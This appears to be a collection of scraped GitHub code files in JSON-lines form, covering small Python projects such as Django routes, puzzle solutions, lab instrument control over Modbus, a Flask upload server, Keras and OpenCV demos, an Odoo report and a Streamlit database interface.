+{"seq_id":"39231173983","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('hello', views.helloWorld, name='hello'),\n    path('home', views.home, name='home'),\n    path('about', views.about, name='about'),\n    path('portfolio', views.portfolio, name='portfolio'),\n    path('team', views.team, name='team'),\n    path('outreach', views.outreach, name='outreach'),\n    path('contact', views.contact, name='contact'),\n    path('positions', views.positionsHtml, name='positions'),\n\n    path('myapp/question/<int:question_id>/', views.detail),\n    path('myapp/getQuestions/', views.questions), \n    path('myapp/getPubHL/', views.getPubHL),\n    path('myapp/getAllPub/', views.getAllPub),\n    path('myapp/getLabCollabs/', views.getLabCollabs),\n    path('myapp/getLabMembers/', views.getLabMembers),\n    path('myapp/getPositions/', views.getPositions),\n]","repo_name":"paumartin2407/MBLab","sub_path":"myapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35209427689","text":"count = 0\nresult = []\na = int(input())\nb = int(input())\n\nfor i in range(a, b+1):\n    if(i == 2 or i == 3 or i == 5 or i ==7):\n        result.append(i)\n    if(i % 2 == 0 or i % 3==0 or i % 5 ==0 or i % 7 == 0):\n        pass\n    else:\n        for k in range(1,i+1):\n            if(i % k == 0 or i % k == i):\n                count+=1\n        if(count == 2):\n            result.append(i)\n        count = 0\n\nif(len(result) == 0):\n    print(-1)\nelse:\n    print(sum(result))\n    print(min(result))","repo_name":"LEEYONGHEE1/Baekjoon","sub_path":"08/1929/2581.py","file_name":"2581.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11209516615","text":"import math\n\nn, w, h = map(int, input().split(' '))\nhypotenuse = math.sqrt(pow(w, 2) + pow(h, 2))\n\nfor _ in range(n):\n  length = int(input())\n  if length <= hypotenuse:\n    print(\"DA\")\n  else:\n    print(\"NE\")\n","repo_name":"ongaaron96/kattis-solutions","sub_path":"python3/1_3-sibice.py","file_name":"1_3-sibice.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34191031434","text":"import sys\nsys.path.append('/home/scottreid/Calibration')\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom os import system, name\nimport time\nfrom pyModbusTCP.client import ModbusClient\nfrom struct import *\nfrom pystorm.hal import HAL\nfrom pystorm.hal.net_builder import NetBuilder\nfrom pystorm.hal.calibrator import Calibrator, PoolSpec\nfrom pystorm.hal import data_utils\nfrom pystorm.hal.run_control import RunControl\nfrom pystorm.hal.neuromorph import graph\n\n\n\"\"\"\nTemperature Control\n\"\"\"\ndef ints_to_float(tup):\n    mypack = pack('>HH',tup[0],tup[1])\n    return unpack('>f', mypack)\n\ndef read_temp(c):\n    c.open()\n    regs = c.read_holding_registers(27586, 2)\n    c.close()\n\n    if regs:\n        return ints_to_float(regs)[0]\n\ndef write_setpoint(c, setpoint):\n    SP = float(setpoint)\n    tup = unpack('<HH', pack('<f', setpoint))\n    tup = tup[::-1]\n    c.open()\n    if c.write_multiple_registers(2782, tup):\n        return True\n    else:\n        return False\n    c.close()\n\ndef read_setpoint(c):\n    c.open()\n    regs = c.read_holding_registers(2782, 2)\n    c.close()\n    if regs:\n        return ints_to_float(regs)[0]\n    else:\n        print(\"read error\")\n\ndef open_connection(port = 502):\n    # Connect to our favorite port\n    c = ModbusClient(host='171.65.103.149', port=port, auto_open=True)\n    connected = test_connection(c)\n    if (not connected):\n        port = 0\n    while (not connected):\n        c = ModbusClient(host='171.65.103.149', port=port, auto_open=True)\n        connected = test_connection(c)\n        port += 1\n        if (port > 3000):\n            break\n    if(connected):\n        print('Connected to TestEquity M106 with port ' + str(port))\n    else:\n        print('Not Connected')\n    if(connected):\n        return c\n\ndef test_connection(c):\n    c.open()\n    reg = c.read_holding_registers(0)\n    c.close()\n    return reg is not None\n\n\"\"\"\nMeasuring Tuning Curves, Decoding Static Functions\n\"\"\"\n\ndef initialize_and_calibrate(Y, X, LY, LX, Din=1, twiddle = True):\n    hal = HAL()\n    print(\"HAL Initialized\")\n    net_builder = NetBuilder(hal)\n    cal = Calibrator(hal)\n\n    ps = PoolSpec(YX=(Y,X), loc_yx=(LY, LX), D=Din)\n\n    nrn_tap_matrix, syn_tap_matrix = cal.create_optimized_yx_taps(ps)\n    ps.TPM = nrn_tap_matrix\n    print(\"Tap Points Optimized\")\n\n    ps.fmax = cal.optimize_fmax(ps)\n    print(\"Fmax Optimized\")\n    dacs = {\n            'DAC_SOMA_REF': 1024,\n            'DAC_DIFF_G': 1024,\n            'DAC_DIFF_R': 1024}\n    if(twiddle):\n        print(\"Beginning Twiddle Optimization\\n\")\n        ps, dacs, opt_encs, opt_offsets, dbg = \\\n            cal.optimize_yield(ps, dacs=dacs,\n                               bias_twiddle_policy='greedy_flat', offset_source='calibration_db', validate=True)\n        print(\"\\nTwiddle Optimization Complete\")\n    return ps, dacs, hal\n\ndef map_network(ps, decoders, hal, Din = 1, Dout = 1):\n    net = graph.Network(\"net\")\n    print(str(Din) + ' --> ' + str(Dout))\n    i1 = net.create_input(\"i1\", Din)\n    p1 = net.create_pool(\"p1\", ps.TPM, biases=ps.biases)\n    b1 = net.create_bucket(\"b1\", Dout)\n    o1 = net.create_output(\"o1\", Dout)\n\n    net.create_connection(\"c_i1_to_p1\", i1, p1, None)\n    decoder_conn = net.create_connection(\"c_p1_to_b1\", p1, b1, decoders)\n    net.create_connection(\"c_b1_to_o1\", b1, o1, None)\n\n    print(\"Calling Map\")\n    hal.map(net)\n    return net, i1, p1, b1, o1\n\ndef measure_tuning_curves(hal, ps, sample_pts, dacs={}, training_hold_time = 2):\n    \"\"\"Validate the output of get_encoders_and_offsets\n    Samples neuron firing rates at supplied sample_pts, compares to\n    est_encs * sample_pts + est_offsets, to directly assess predictive\n    quality of est_encs and est_offsets.\n    Inputs:\n    =======\n    est_encs (NxD array) : encoder estimates\n    est_offsets (N array) : offset estimates\n    ps : (PoolSpec object)\n        required pars: YX, loc_yx, TPM, fmax\n        relevant pars: gain_divisors, biases, diffusor_cuts_yx,\n    sample_pts (SxD array) : points to sample in the input space\n    Returns:\n    =======\n    rmse_err, meas_rates, est_rates\n    rmse_err (float) : RMSE firing rate error\n    meas_rates (SxN array) : firing rates of each neuron at each sample_pt\n    est_rates (SxN array) : what the est_encoders/offsets predicted\n    \"\"\"\n    ps.check_specified(['YX', 'loc_yx', 'TPM', 'fmax'])\n    total_training_points = sample_pts.size\n\n    HOLD_TIME = training_hold_time # seconds\n    LPF_DISCARD_TIME = 0.5 # seconds\n\n    N = ps.X * ps.Y\n    decoders = np.zeros((1,N))\n\n    net, i1, p1, b1, o1 = map_network(ps, decoders, hal)\n\n    for dac, value in dacs.items():\n        hal.set_DAC_value(dac, value)\n    # let the DACs settle down\n    time.sleep(.2)\n\n    FUDGE = 2\n    curr_time = hal.get_time()\n    times = np.arange(0, total_training_points) * training_hold_time * 1e9 + curr_time + FUDGE * 1e9\n    times_w_end = np.hstack((times, times[-1] + training_hold_time * 1e9))\n    vals = sample_pts * ps.fmax\n    input_vals = {i1 : (times, vals)}\n\n    rc = RunControl(hal, net)\n\n    _, spikes_and_bin_times = rc.run_input_sweep(input_vals, get_raw_spikes=True, end_time=times_w_end[-1], rel_time=False)\n    spikes, spike_bin_times = spikes_and_bin_times\n    discard_frac = LPF_DISCARD_TIME / HOLD_TIME\n    A = data_utils.bins_to_rates(spikes[p1], spike_bin_times, times_w_end, init_discard_frac=.2)\n\n    outputs = hal.get_outputs()\n\n    return A, sample_pts*ps.fmax\n\ndef measure_output_decoder(hal, ps, sample_pts, decoders, dacs={}, training_hold_time = 2):\n    \"\"\"Validate the output of get_encoders_and_offsets\n    Samples neuron firing rates at supplied sample_pts, compares to\n    est_encs * sample_pts + est_offsets, to directly assess predictive\n    quality of est_encs and est_offsets.\n    Inputs:\n    =======\n    est_encs (NxD array) : encoder estimates\n    est_offsets (N array) : offset estimates\n    ps : (PoolSpec object)\n        required pars: YX, loc_yx, TPM, fmax\n        relevant pars: gain_divisors, biases, diffusor_cuts_yx,\n    sample_pts (SxD array) : points to sample in the input space\n    Returns:\n    =======\n    rmse_err, meas_rates, est_rates\n    rmse_err (float) : RMSE firing rate error\n    meas_rates (SxN array) : firing rates of each neuron at each sample_pt\n    est_rates (SxN array) : what the est_encoders/offsets predicted\n    \"\"\"\n    ps.check_specified(['YX', 'loc_yx', 'TPM', 'fmax'])\n    total_training_points = sample_pts.size\n\n    HOLD_TIME = training_hold_time # seconds\n    LPF_DISCARD_TIME = np.min([HOLD_TIME/2, 0.5]) # seconds\n\n    net, i1, p1, b1, o1 = map_network(ps, decoders, hal, Dout = decoders.shape[0])\n\n    for dac, value in dacs.items():\n        hal.set_DAC_value(dac, value)\n    # let the DACs settle down\n    time.sleep(.2)\n\n    FUDGE = 2\n    curr_time = hal.get_time()\n    times = np.arange(0, total_training_points) * training_hold_time * 1e9 + curr_time + FUDGE * 1e9\n    times_w_end = np.hstack((times, times[-1] + training_hold_time * 1e9))\n    vals = sample_pts * ps.fmax\n    input_vals = {i1 : (times, vals)}\n\n    rc = RunControl(hal, net)\n\n    outputs_and_bin_times, _ = rc.run_input_sweep(input_vals, get_raw_spikes=False, end_time=times_w_end[-1], rel_time=False)\n    tags, tag_bin_times = outputs_and_bin_times\n    yhat = data_utils.bins_to_rates(tags[o1], tag_bin_times, times_w_end, init_discard_frac=.2)\n    yhat = yhat\n    return yhat, sample_pts*ps.fmax\n\ndef set_temp(setT, inst, printo = True, epsilon = 0.15, sit_time = 15, time_out = 240):\n    # Write new temperature setpoint\n    if( write_setpoint(inst, setT) ):\n        print('Wrote new setpoint, now waiting for stability')\n\n        # Moniter the temperature until it has either stabilized to the setpoint or timeout occurs\n        t0 = time.time() # Time of initialization\n        t1 = time.time() # Most recent time when Tcurr was not within epsilon of setT\n        tcurr = time.time() # Current time\n\n        isstable = False\n        istimeout = False\n        while( not (isstable or istimeout)):\n            inst.open()\n            currT = read_temp(inst)\n            inst.close()\n            if (currT is not None):\n                if (np.abs(currT - setT) < epsilon):\n                    tcurr = time.time()\n                else:\n                    tcurr = time.time()\n                    t1 = time.time()\n                time.sleep(0.1)\n            isstable = (tcurr - t1) > sit_time\n            istimeout = (tcurr - t0) > time_out\n\n        if(printo):\n            if(istimeout):\n                print(\"Timeout\")\n            else:\n                print(\"Temperature stable within \" + str(epsilon) + \" C of \" + str(setT) + ' C')\n\n        # Measure the thermal stability\n        t_meas = sit_time\n        t_wait = 0.0\n        temp = []\n        t2 = time.time()\n        t1 = time.time()\n        while((t2 - t1) < t_meas):\n            currT = read_temp(inst)\n            if (currT is not None):\n                temp.append(currT)\n            t2 = time.time()\n            time.sleep(t_wait)\n\n        avg_temp = np.mean(temp)\n        std_temp = np.std(temp)\n        if(printo):\n            print(\"Average Temp is \" + str(avg_temp)[:5] + '+-' + str(std_temp)[:5] + ' C')\n        return istimeout, avg_temp, std_temp\n\n    else:\n        print('Failed to write new setpoint')\n\ndef get_intercept(a, fs, plot = False, sm_factor = 5, epsilon = 3, min_fire = 10):\n    sm_factor = 5\n    epsilon = 3\n    min_fire = 10\n\n    always_fire = False\n    never_fire = False\n    if(np.min(a) > min_fire):\n        intercept = None\n        always_fire = True\n    else:\n        b = 0\n        f_red = 0\n        for i in range(sm_factor):\n            b = b + a[i:-sm_factor+i]\n            f_red = f_red + fs[i:-sm_factor+i]\n        b = b/sm_factor\n        f_red = f_red/sm_factor\n\n        deriv = b[1:] - b[:-1]\n        f_red = (f_red[1:] + f_red[:-1])/2\n        sgn = np.mean(deriv) > 0\n        if(sgn > 0):\n            f_set = f_red[deriv > epsilon]\n            if (len(f_set) == 0):\n                intercept = None\n                never_fire = True\n            else:\n                intercept = f_set[0][0]\n        else:\n            f_set = f_red[deriv < -epsilon]\n            if (len(f_set) == 0):\n                intercept = None\n                never_fire = True\n            else:\n                intercept = f_set[-1][0]\n    if(plot):\n        if(always_fire):\n            print(\"Always Fires\")\n        elif(never_fire):\n            print(\"Never Fires\")\n        else:\n            print(\"Intercept at \" + str(intercept) + \" Hz\")\n        plt.plot(fs, a)\n        if(intercept is not None):\n            plt.axvline(intercept)\n\n    return intercept, always_fire, never_fire\n\ndef interpret_yield(A, x, printo = False):\n    Q, N = A.shape\n    tercepts = []\n    afire = np.ndarray(N)\n    nfire = np.ndarray(N)\n    for n in range(N):\n        intercept, always_fire, never_fire = get_intercept(A[:,n], x)\n        if (intercept is not None):\n            tercepts.append(intercept)\n        afire[n] = always_fire\n        nfire[n] = never_fire\n\n    af = np.sum(afire)\n    nf = np.sum(nfire)\n    neff = N - af - nf\n    if (printo):\n        print(\"Yield for \" + str(N) + \" total neurons:\")\n        print(str(neff) + \" neurons fire with intercepts (\" + str(neff*100/N)[:4] + \"%)\")\n        print(str(af) + \" neurons fire without intercepts (\" + str(af*100/N)[:4] + \"%)\")\n        print(\"In total, \" + str(af + neff) + \" neurons fire (\" + str((af+neff)*100/N)[:4] + \"%)\")\n        print(str(nf) + \" neurons never fire (\" + str(nf*100/N)[:4] + \"%)\")\n        plt.hist(tercepts)\n        plt.xlabel('Intercept')\n        plt.title('Intercept Distribution')\n    else:\n        return tercepts, af, nf, neff","repo_name":"scottcantreid/Braindrop_Utilities","sub_path":"measure_utils.py","file_name":"measure_utils.py","file_ext":"py","file_size_in_byte":11620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28271662066","text":"from flask import send_file, request, abort, jsonify, make_response\nimport os, random, string\n\nfrom server import app, db\nfrom models.File import File\n\n\ndef get_random_string(length):\n    letters = string.ascii_lowercase\n    result_str = ''.join(random.choice(letters) for i in range(length))\n    return result_str\n\n\n@app.route('/')\ndef test():\n    return make_response('Test')\n\n\n@app.route('/save', methods=['POST'])\ndef save_file():\n    image = request.files.get('image')\n    print(image)\n\n    if not image:\n        lastFile = File.query.order_by(File.id.desc()).first()\n\n        return jsonify({\n        'message': 'Photo successfully saved. Path in your buffer',\n        'path': f'{request.host_url}image/{lastFile.name}'\n    })\n\n    secureName = get_random_string(16)\n    extension = image.filename.rsplit('.', 1)[1]\n    fullName = secureName + '.' + extension\n    uploads_dir = './files'\n    file = File(name=secureName, extension=extension)\n\n    db.session.add(file)\n    db.session.commit()\n\n    image.save(os.path.join(uploads_dir, fullName))\n\n    return 200\n\n\n@app.route('/image/<imageName>')\ndef get_image(imageName: str):\n    file = File.query.filter_by(name=imageName).first()\n\n    if not file:\n        return abort(404)\n\n    return send_file(f\"./files/{file.name}.{file.extension}\")\n","repo_name":"HTMLProgrammer2001/JoxiClone","sub_path":"Server/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24111507288","text":"from pyb import Pin\n\n#Set pin to alterate function\n#a3 = Pin(Pin.board.GPA3, Pin.ALT, alt = Pin.AF_PA3_KPI0_SI0)\n#print(a3)\n\n#For GPIO output\n#a3 = Pin(Pin.board.GPA3, Pin.OUT)\n#print(a3)\n#a3.value(1)\ncount = 0\n\ndef pa3_callback(pin):\n\tcount = count + 1\n\t\n#For GPIO input\na3 = Pin(Pin.board.GPA3, Pin.IN)\na3.irq(handler=pa3_callback, trigger=Pin.IRQ_RISING)\n\nwhile True:\n\tprint(count)\n\tpyb.delay(2000)\n\n","repo_name":"OpenNuvoton/NuMicroPy","sub_path":"N9H26/example/GPIO.py","file_name":"GPIO.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"60"}
+{"seq_id":"19143701277","text":"import numpy as np\nfrom repo.reader import Reader\nfrom service.dataOps import flatten, split_data, normalisation, shuffle\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Conv2D, Flatten, MaxPooling2D\n\nfrom service.myANN import NeuralNetwork\n\n\ndef emojiPredict():\n    reader = Reader()\n    inputs, outputs = reader.readEmoji()\n    inputs, outputs = shuffle(inputs, outputs)\n    trainInputs, testInputs, trainOutputs, testOutputs = split_data(inputs, outputs)\n    # normalisedTrain, normalisedTest = normalisation(trainInputs, testInputs)\n    trainInputs = np.array(trainInputs)\n    trainOutputs = np.array(trainOutputs)\n    testInputs = np.array(testInputs)\n    testOutputs = np.array(testOutputs)\n\n    print('Keras emoji............')\n    model = Sequential()\n\n    model.add(Conv2D(32, kernel_size=5, activation='relu', input_shape=(30, 30, 3)))\n    model.add(Conv2D(32, kernel_size=5, activation='relu'))\n    model.add(MaxPooling2D(pool_size=(3, 3)))\n    model.add(Flatten())\n    model.add(Dense(2, activation='softmax'))\n\n    model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\n    model.fit(trainInputs, trainOutputs, validation_data=(testInputs, testOutputs), epochs=20)\n\n    trainInputs = trainInputs.tolist()\n    trainOutputs = trainOutputs.tolist()\n    testInputs = testInputs.tolist()\n    testOutputs = testOutputs.tolist()\n    simpleOutputs_train = []\n    for i in trainOutputs:\n        if i[0] == 1:\n            simpleOutputs_train.append(1)\n        else:\n            simpleOutputs_train.append(0)\n    simpleOutputs_test = []\n    for i in testOutputs:\n        if i[0] == 1:\n            simpleOutputs_test.append(1)\n        else:\n            simpleOutputs_test.append(0)\n\n    trainInputs = flatten(trainInputs)\n    testInputs = flatten(testInputs)\n    normalisedTrain, normalisedTest = normalisation(trainInputs, testInputs)\n\n    print('My ANN emoji....................')\n    net = NeuralNetwork(1, 4, 20)\n    net.fit(normalisedTrain, simpleOutputs_train, 0.01)\n    computed = net.predict(normalisedTest)\n\n    error = 0.0\n    for t1, t2 in zip(computed, simpleOutputs_test):\n        if (t1 != t2):\n            error += 1\n\n    print(\"Manual error: \" + str(error / len(trainInputs)))","repo_name":"dariamarc/AI","sub_path":"Emotions/service/emojiEmotions.py","file_name":"emojiEmotions.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42848745167","text":"import unittest\nimport time\n\nfrom multiprocessing import Process, Queue, Event, Manager\n\nfrom queuer import Queuer\nfrom random_startegy import RandomStrategy\nfrom uwb_tag import UWBTag\nfrom uwb_device import UWBDevice\nfrom udp_socket import UDPSocket\nfrom helper_functions import receiver_process\n\nRECEIVER_PORT = 5001\n\nclass TestQueuerSocket(unittest.TestCase):\n    def setUp(self) -> None:\n        print(\"Testing queuer and socket integration\")\n        anchor_1 = UWBDevice(None, None, \"AA\")\n        anchor_2 = UWBDevice(None, None, \"BB\")\n        tags_dict = {\"127.0.0.1\": UWBTag(\"127.0.0.1\", RECEIVER_PORT, \"DD\", [anchor_1, anchor_2]), \"127.0.0.1\": UWBTag(\"127.0.0.1\", RECEIVER_PORT, \"EE\", [anchor_1, anchor_2])}\n        self.dict_managed = Manager().dict(tags_dict)\n        self.queuer = Queuer(RandomStrategy())\n        self.udp_socket = UDPSocket(5000, 2)\n\n        self.timeout_counter = 0            \n\n    def test_queuing_multiprocess(self):\n        msg_q = Queue()\n        result_q = Queue()\n\n        ended = Event()\n        ended.clear()\n\n        p1 = Process(target=self.queuer.queing_process, args=(ended, msg_q, self.dict_managed))\n        p2 = Process(target=self.udp_socket.sending_process, args=(ended, msg_q, result_q, True))\n        p3 = Process(target=receiver_process, args=(ended, ))\n\n        p1.start()\n        # time to prepare first queue\n        time.sleep(.1)\n        p2.start()\n        p3.start()\n\n        time.sleep(.5)\n        ended.set()\n\n        p1.join()\n        p2.join()\n        p3.join()\n\n        self.udp_socket.bound_socket.close()\n\n        self.assertGreater(result_q.qsize(), 0)\n\n        while not result_q.empty():\n            sendto_ip, message_received, address = result_q.get()\n            self.assertEqual(sendto_ip, '127.0.0.1')\n            self.assertEqual(message_received, b'Im responding!')\n            self.assertEqual(address, ('127.0.0.1', 5001))\n\n    def tearDown(self):\n        print(\"Finished testing queuer and socket integration\")\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"MasterCoookie/twr_udp_master","sub_path":"test/test_integration_queuing_socket.py","file_name":"test_integration_queuing_socket.py","file_ext":"py","file_size_in_byte":2037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22896020028","text":"from openerp import models, fields, api, exceptions, _\nfrom datetime import datetime, timedelta\nfrom dateutil.relativedelta import relativedelta\n\n\nclass HrAttendanceReport(models.AbstractModel):\n    _name = 'report.hr_attendance_report.print_attendance'\n\n    @api.multi\n    def render_html(self, data=None):\n        report_obj = self.env['report']\n        report = report_obj._get_report_from_name(\n            'hr_attendance_report.print_attendance')\n        docs = []\n        employee_attendance = {}\n        totals = {}\n        for employee in self.env[report.model].browse(data['ids']):\n            employee_attendance[employee.id] = []\n            docs.append(employee)\n            from_date_s = data.get('form', {}).get('from_date', '')\n            to_date_s = data.get('form', {}).get('to_date', '')\n            from_date = datetime.strptime(from_date_s, '%Y-%m-%d').date()\n            to_date = datetime.strptime(to_date_s, '%Y-%m-%d').date()\n            while from_date <= to_date:\n                from_date_1 = datetime.strftime(from_date, \"%Y-%m-%d %H:%M:%S\")\n                from_date_datetime = datetime.strptime(from_date_1, '%Y-%m-%d %H:%M:%S')\n                from_date_2 = datetime.strftime(from_date, \"%Y-%m-%d 23:59:59\")\n                attendances = self.env['hr.attendance'].search(\n                    [('employee_id', '=', employee.id),\n                     ('name', '>=', from_date_1),\n                     ('name', '<=', from_date_2)], order='name asc')\n                day_attendances = {'ord_hours': 0, 'extra': 0, 'in_out_str': '',\n                                   'day': from_date_1[8:10]}\n                used_ids = []\n                while len(attendances) - len(used_ids) >= 2:\n                    in_attr = attendances.filtered(\n                        lambda r: r.id not in used_ids and\n                        r.action == 'sign_in')[0]\n                    out_attr = attendances.filtered(\n                        lambda r: r.id not in used_ids and\n                        r.action == 'sign_out')[0]\n                    in_time = fields.Datetime.context_timestamp(\n                        self, datetime.strptime(in_attr.name,\n                                                \"%Y-%m-%d %H:%M:%S\"))\n                    out_time = fields.Datetime.context_timestamp(\n                        self, datetime.strptime(out_attr.name,\n                                                \"%Y-%m-%d %H:%M:%S\"))\n                    day_attendances['ord_hours'] += out_attr.worked_hours\n\n                    fields.Datetime.context_timestamp(\n                        self, datetime.strptime(attendances[0].name,\n                                                \"%Y-%m-%d %H:%M:%S\"))\n                    day_attendances['in_out_str'] += \\\n                        '%02d:%02d-%02d:%02d | ' % (in_time.hour,\n                                                    in_time.minute,\n                                                    out_time.hour,\n                                                    out_time.minute)\n                    used_ids.append(in_attr.id)\n                    used_ids.append(out_attr.id)\n                if employee.calendar_id:\n                    max_hours = employee.calendar_id.get_working_hours_of_date(\n                        from_date_datetime,\n                        compute_leaves=True,\n                        resource_id=employee.resource_id.id)[0]\n                    extra_hours = day_attendances['ord_hours'] - max_hours\n                    if day_attendances['ord_hours'] > max_hours:\n                        day_attendances['ord_hours'] = max_hours\n                    day_attendances['extra'] += extra_hours\n                if day_attendances['in_out_str']:\n                    day_attendances['in_out_str'] = \\\n                        day_attendances['in_out_str'][:-3]\n                if day_attendances['ord_hours'] or day_attendances['extra']:\n                    employee_attendance[employee.id].append(day_attendances)\n                from_date += relativedelta(days=1)\n            totals[employee.id] = {\n                'total': sum(x['ord_hours'] for x in\n                             employee_attendance[employee.id]),\n                'ordinary': sum(x['ord_hours'] for x in\n                                employee_attendance[employee.id]),\n                'complementary': 0,\n                'extra': sum(x['extra'] for x in employee_attendance[employee.id]),\n            }\n        docargs = {\n            'doc_ids': data['ids'],\n            'doc_model': report.model,\n            'docs': docs,\n            'attendances': employee_attendance,\n            'data': data,\n            'totals': totals\n        }\n        return report_obj.render('hr_attendance_report.print_attendance',\n                                 docargs)\n","repo_name":"Comunitea/external_modules","sub_path":"hr_attendance_report/models/hr_attendance_report_parser.py","file_name":"hr_attendance_report_parser.py","file_ext":"py","file_size_in_byte":4790,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"32914002354","text":"import numpy as np\nimport cv2\nimage = cv2.imread(\"lena.jpg\")\ncv2.imshow(\"Origial Image\", image)\n\"\"\" Bilateral Filter with\n-- The image that needs to be blurred.\n–– The diameter of the pixel neighborhood.\n–– Color value. A larger value of the color means that more colors of the\nneighborhood pixels will be considered when computing the blur.\n–– A space or distance. A larger value of the space means that the pixels\nfarther from the central pixel will be considered. \"\"\"\nfilter5 = cv2.bilateralFilter(image, 5, 150, 50)\ncv2.imshow(\"Filtered Image 5\",filter5)\ncv2.imwrite(\".\\\\images\\\\bilateral5.jpg\",filter5)\n#bilateral filter with kernel 7\nfilter7 = cv2.bilateralFilter(image, 7, 160, 60)\ncv2.imshow(\"Filtered Image 7\",filter7)\ncv2.imwrite(\".\\\\images\\\\bilateral7.jpg\",filter7)\ncv2.waitKey(0)","repo_name":"shoeb370/computer_vision_1","sub_path":"21.py","file_name":"21.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"3077334643","text":"import pandas as pd\r\nimport streamlit as st\r\nfrom database import *\r\n\r\n\r\ndef delete1():\r\n    result = view_all_user_data()\r\n    df = pd.DataFrame(result, columns=['User ID', 'FName' , 'LName' , 'DOB' ,'Age','Gender','Address' , 'Email_ID'])\r\n    with st.expander(\"Current User Data\"):\r\n        st.dataframe(df)\r\n\r\n    list_of_users = [i[0] for i in view_only_user_id()]\r\n    selected_user = st.selectbox(\"User to Delete\", list_of_users)\r\n    st.warning(\"Do you want to delete {}?\".format(selected_user))\r\n    if st.button(\"Delete User\"):\r\n        delete_user_data(selected_user)\r\n        st.success(\"User {} has been deleted successfully\".format(selected_user))\r\n    new_result = view_all_user_data()\r\n    df2 = pd.DataFrame(new_result, columns=['User ID', 'FName' , 'LName' , 'DOB' ,'Age','Gender','Address' , 'Email_ID'])\r\n    with st.expander(\"Updated data\"):\r\n        st.dataframe(df2)\r\n        \r\ndef delete2():\r\n    result = view_all_author_data()\r\n    df = pd.DataFrame(result, columns=['Author ID', 'firstName', 'lastName', 'EmailID' , 'Gender', 'Country'])\r\n    with st.expander(\"View all Authors\"):\r\n        st.dataframe(df)\r\n\r\n    list_of_athrs = [i[0] for i in view_only_a_id()]\r\n    selected_athr = st.selectbox(\"Author to Delete\", list_of_athrs)\r\n    st.warning(\"Do you want to delete {}?\".format(selected_athr))\r\n    if st.button(\"Delete Author\"):\r\n        delete_author_data(selected_athr)\r\n        st.success(\"Author has been deleted successfully\")\r\n    new_result = view_all_author_data()\r\n    df2 = pd.DataFrame(new_result, columns=['Author ID', 'firstName', 'lastName', 'EmailID' , 'Gender', 'Country'])\r\n    with st.expander(\"Updated data\"):\r\n        st.dataframe(df2)\r\n        \r\ndef delete3():\r\n    result = view_all_books_data()\r\n    df = pd.DataFrame(result, columns=['BookID','Title','Price','Genre','Publisher','Published_Year','A_ID','Availability'])\r\n    with st.expander(\"View all Books\"):\r\n        st.dataframe(df)\r\n\r\n    list_of_books = [i[0] for i in view_only_book_id()]\r\n    selected_book = st.selectbox(\"Book to Delete\", list_of_books)\r\n    st.warning(\"Do you want to delete {}?\".format(selected_book))\r\n    if st.button(\"Delete Author\"):\r\n        delete_book_data(selected_book)\r\n        st.success(\"Book has been deleted successfully\")\r\n    new_result = view_all_books_data()\r\n    df2 = pd.DataFrame(new_result,  columns=['BookID','Title','Price','Genre','Publisher','Published_Year','A_ID','Availability'])\r\n    with st.expander(\"Updated data\"):\r\n        st.dataframe(df2)\r\n        \r\ndef delete4():\r\n    result = view_all_orders_data()\r\n    df = pd.DataFrame(result, columns=['OrderID','Order_Time','Order_Date'])\r\n    with st.expander(\"View all Orders\"):\r\n        st.dataframe(df)\r\n\r\n    list_of_orders = [i[0] for i in view_only_orders_id()]\r\n    selected_order = st.selectbox(\"Order to Delete\", list_of_orders)\r\n    st.warning(\"Do you want to delete {}?\".format(selected_order))\r\n    if st.button(\"Delete Order\"):\r\n        delete_orders_data(selected_order)\r\n        st.success(\"Order has been deleted successfully\")\r\n    new_result = view_all_orders_data()\r\n    df2 = pd.DataFrame(new_result, columns=['OrderID','Order_Time','Order_Date'])\r\n    with st.expander(\"Updated data\"):\r\n        st.dataframe(df2)\r\n        \r\ndef delete5():\r\n    result = view_all_payment_data()\r\n    df = pd.DataFrame(result, columns=['PID','Amount','BankName','Card_No','Order_ID'])\r\n    with st.expander(\"View all Payment\"):\r\n        st.dataframe(df)\r\n\r\n    list_of_payment = [i[0] for i in view_only_payment_id()]\r\n    selected_payment = st.selectbox(\"Payment Detail to be deleted\", list_of_payment)\r\n    st.warning(\"Do you want to delete {}?\".format(selected_payment))\r\n    if st.button(\"Delete Payment\"):\r\n        delete_payment_data(selected_payment)\r\n        st.success(\"Payment has been deleted successfully\")\r\n    new_result = view_all_payment_data()\r\n    df2 = pd.DataFrame(new_result, columns=['PID','Amount','BankName','Card_No','Order_ID'])\r\n    with st.expander(\"Updated data\"):\r\n        st.dataframe(df2)\r\n        \r\n\r\n\r\n        \r\n\r\n        \r\n","repo_name":"almas-banu/Online-Book-Store-Management","sub_path":"delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":4073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
